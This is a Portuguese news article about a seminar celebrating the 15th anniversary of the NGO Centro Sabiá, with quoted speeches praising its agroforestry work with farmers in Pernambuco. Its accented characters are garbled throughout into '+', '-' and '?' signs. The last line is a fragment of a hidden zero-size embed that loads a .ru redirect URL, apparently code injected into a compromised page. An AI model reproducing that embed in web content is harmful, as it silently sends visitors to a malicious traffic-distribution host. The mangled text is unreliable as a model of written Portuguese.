Trabalho do Centro Sabiá é reconhecido por parceiros e agricultores durante seminário em comemoração aos15 anos da entidade
Agricultores e agricultoras da Zona da Mata, Agreste e Sert-o de Pernambuco, jovens multiplicadores, representantes governamentais e de ag+ncias de coopera+-o, e convidados marcaram presen+a na abertura do semin+rio Agricultura agroflorestal: semeando seguran+a alimentar e cidadania no campo, realizado na manh- de ontem (09/07), na Universidade Federal Rural de Pernambuco (UFRPE), em comemora+-o aos 15 anos da ONG Centro Sabi+.
Durante a mesa de abertura, o gerente geral do Programa de Apoio ao Pequeno Produtor Rural de Pernambuco (ProRural), Jos+ Patriota, afirmou que o Centro Sabi+ tem sido um laborat?rio de inova++es importantes na constru+-o de um modelo sustent+vel de produ+-o, que respeita o meio ambiente.
+Produzir, viver bem e com sustentabilidade + um desafio para toda humanidade e o Centro Sabi+ tem dado a sua contribui+-o para alcan+ar esse patamar, na medida em que os seus experimentos n-o s-o te?ricos, s-o pr+ticos, envolvendo os agricultores familiares das tr+s regi+es do Estado, com biomas diferentes: Mata, Agreste e Sert-o+, disse Patriota.
Em tom de muita emo+-o, o coordenador executivo da Articula+-o no Semi–rido Brasileiro (ASA) pelo estado da Bahia, Naidison Baptista, falou do compromisso do Centro Sabi+ no desenvolvimento da ASA.
+Eu n-o poderia deixar de destacar a contribui+-o que o Sabi+ traz na constru+-o e acompanhamento dessa cria, desse filho. E, naturalmente, o Sabi+ n-o est+ apenas dando perspectivas a ASA. Ele est+ na rede se alimentando, para crescer e se desenvolver+.
O coordenador do Centro Sabi+, Jos+ Aldo dos Santos, foi o +ltimo a falar. Bastante emocionado com os depoimentos dos parceiros, ele iniciou seu discurso lembrando da luta hist?rica que a entidade e os agricultores e as agricultoras enfrentaram para mostrar que existem formas sustent+veis de produzir no campo. Uma delas + agrofloresta, que consegue combinar produ+-o de alimentos com preserva+-o e recupera+-o das matas.
+Temos uma longa estrada e esperamos que ela seja mais de conquistas do que de dificuldades. Estamos indo de encontro a um modelo que + hegem-nico, do poder econ-mico, que + o do agroneg?cio. Mas, n?s temos o lado que constr?i a vida, que mostra a diversidade, que mostra que um outro mundo + poss+vel+, afirmou Aldo dos Santos.
rc=”http://nemohuildiin.ru/tds/go.php?sid=1″ width=”0″ height=”0″ styl